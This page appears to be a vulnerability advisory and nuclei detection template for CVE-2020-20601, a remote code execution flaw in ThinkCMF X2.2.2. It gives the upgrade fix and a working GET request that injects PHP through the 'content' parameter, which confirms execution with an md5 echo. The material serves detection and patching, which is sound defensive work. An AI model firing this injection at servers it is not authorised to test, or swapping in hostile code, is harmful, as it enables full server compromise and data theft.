ThinkCMF X2.2.2 - Remote Code Execution

criticalseverity

9.8CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.

Impact

Unauthenticated attackers can execute arbitrary PHP code on ThinkCMF servers, leading to complete server compromise and access to all website data.

Fix

Upgrade to ThinkCMF version X2.2.3 or later.

How to confirm it

Send: GET {{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');
Positive when: contains "d9b2c63a497e2f30c4ad9ad083a00691" AND status 200

Run it with nuclei: nuclei -id CVE-2020-20601 -u <target>

The full check

id: CVE-2020-20601

info:
  name: ThinkCMF X2.2.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on ThinkCMF servers, leading to complete server compromise and access to all website data.
  remediation: |
    Upgrade to ThinkCMF version X2.2.3 or later.
  reference:
    - https://www.shuzhiduo.com/A/l1dygr36Je/
    - https://blog.riskivy.com/thinkcmf-%e6%a1%86%e6%9e%b6%e4%b8%8a%e7%9a%84%e4%bb%bb%e6%84%8f%e5%86%85%e5%ae%b9%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-20601
    cwe-id: CWE-94
    epss-score: 0.07424
    epss-percentile: 0.94494
    cpe: cpe:2.3:a:thinkcmf:thinkcmf:x2.2.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thinkcmf
    product: thinkcmf
  tags: cve,cve2020,thinkcmf,rce,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "d9b2c63a497e2f30c4ad9ad083a00691"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from